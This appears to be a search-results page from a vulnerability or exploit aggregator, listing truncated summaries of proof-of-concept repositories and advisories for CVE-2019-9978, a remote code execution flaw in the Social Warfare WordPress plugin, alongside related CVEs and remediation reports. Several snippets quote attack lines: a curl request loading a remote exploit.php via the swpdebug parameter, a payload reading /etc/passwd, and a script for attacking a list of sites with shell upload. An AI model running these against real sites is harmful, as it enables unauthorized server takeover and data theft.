128 matches found
CVE-2019-9978
CVE-2019-9978 – Proof of Concept PoC Functional PoC for vulnerability CVE-2019-9978 , affecting the plugin Social Warfare = 3.5.2, allowing Remote Code Execution RCE in WordPress. 📌 Description This exploit abuses the swpdebug=loadoptions parameter to force the loading of a remote payload, allowi...
CVE-2019-9978
CVE-2019-9978 - Social Warfare Wordpress plugin RCE RCE on a Social Warfare Wordpress plugin without any prior authentication Proof Of Concept root@kitploit: curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php Vulnerable code : Fix:...
CVE-2019-9978
CVE-2019-9978 - Social Warfare Wordpress plugin RCE 3.5.3 Remote Code Execution in Social Warfare Plugin before 3.5.3 for Wordpress. This Poc does not require running an additional HTTP Server. Just pass your local IP and the desired port and the exploit will create a server in its own thread...
CVE-2019-9978
CVE-2019-9978 CVE-2019-9978 - PoC RCE in Social WarFare Plugin system'cat /etc/passwd' Save it with filename: payload.txt and upload it on a server. The URI should look like: https://yoursite.com/payload.txt. Finally, supply your --target and --payload-uri options: root@kitploit: $ python...
CVE-2019-9978
CVE-2019-9978 WordPress Plugin Social Warfare RCE Vulnerability 3.5.3 🐞 Minimal simulated from vulnerable plugin and exploit it 🥰 Installation Of Vulnerable Plugin Install dependencies: root@kitploit: docker-compose build Start vulnerable and attacker server containers root@kitploit: docker-compo...
CVE-2019-9978
CVE-2019-9978 - Social Warfare WordPress Plugin RCE system'cat /etc/passwd' ✅ Step 2 – Start a Python HTTP Server Use Python to serve your payload: root@kitploit:...
CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE
CVE-2019-9978 - Social Warfare WordPress Plugin RCE This repository contains a working Python exploit for CVE-2019-9978, a remote code execution vulnerability in the Social Warfare plugin for WordPress version = 3.5.2. Description The swpdebug parameter in admin-post.php allows remote attackers t...
CVE-2019-9978_Exploit
CVE-2019-9978 エクスプロイト Social WarFare プラグイン =3.5.2 リモートコード実行...
MegaQuagga_Pentesting_Report
MegaQuagga ペネトレーションテストレポート このリポジトリには、WordPress環境に対して実施された完全なWebアプリケーションペネトレーションテストが含まれています。この評価には、脆弱性の発見、悪用、ポストエクスプロイテーション、および実際の攻撃影響の文書化が含まれます。 🔍 プロジェクト概要 ターゲット: 脆弱性のあるSocial Warfareプラグインを実行しているWordPress環境 悪用したCVE: CVE-2019-9978 攻撃タイプ: 認証不要のリモートコード実行 RCE 使用ツール: Burp Suite, Metasploit, Netcat,...
CVE-2019-9978-RCE-PoC
CVE-2019-9978 RCE PoC – Social Warfare WordPress Plugin Exploit Unauthenticated Remote File Inclusion RFI to Remote Code Execution RCE 📌 Description This repository contains a Python-based Proof of Concept PoC demonstrating the exploitation of CVE-2019-9978 , a critical vulnerability in the Socia...
CVE-2019-9978-Social-Warfare-WordPress-RCE
🚀 CVE-2019-9978 – Social Warfare WordPress Plugin RCE ⚠️ DISCLAIMER: This repository is for educational and authorized security testing only. Use only on systems you own or have explicit written permission to test. Unauthorized access is illegal. 📋 Overview...
CVE-2019-9978
Social Warfare 插件 WordPress 3.5.2 远程代码执行 WordPress Social Warfare 远程代码执行（自动上传 Shell） 日期：2019年3月 下载链接：https://wordpress.org/plugins/social-warfare/ 参考：https://wpvulndb.com/vulnerabilities/9259 版本： CVE：2019-9978 用法： python script.py list-of-sites.txt...
Vuln_Remediation_MegaQuagga
VulnRemediationMegaQuagga Remediation report for MegaQuagga Publishing validating the mitigation of CVE-2019-9978 through progressive defensive layering. Documents reverse proxy insertion, ModSecurity WAF deployment, Graylog SIEM integration, and SSL/TLS enforcement using multi-stage Wireshark PC...
Exploit for Cross-site Scripting in Warfareplugins Social_Warfare
CVE-2...
CVE-2023-4842
The Social Sharing Plugin - Social Warfare plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'socialwarfare' shortcode in versions up to, and including, 4.4.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for...
CVE-2024-34825
Cross-Site Request Forgery CSRF vulnerability in Warfare Plugins Social Warfare.This issue affects Social Warfare: from n/a through 4.4.5.1...
Exploit for Cross-site Scripting in Warfareplugins Social_Warfare
CVE-2019-9978-RCE-PoC A custom Pytho...
EUVD-2023-12462
Malicious code in bioql PyPI...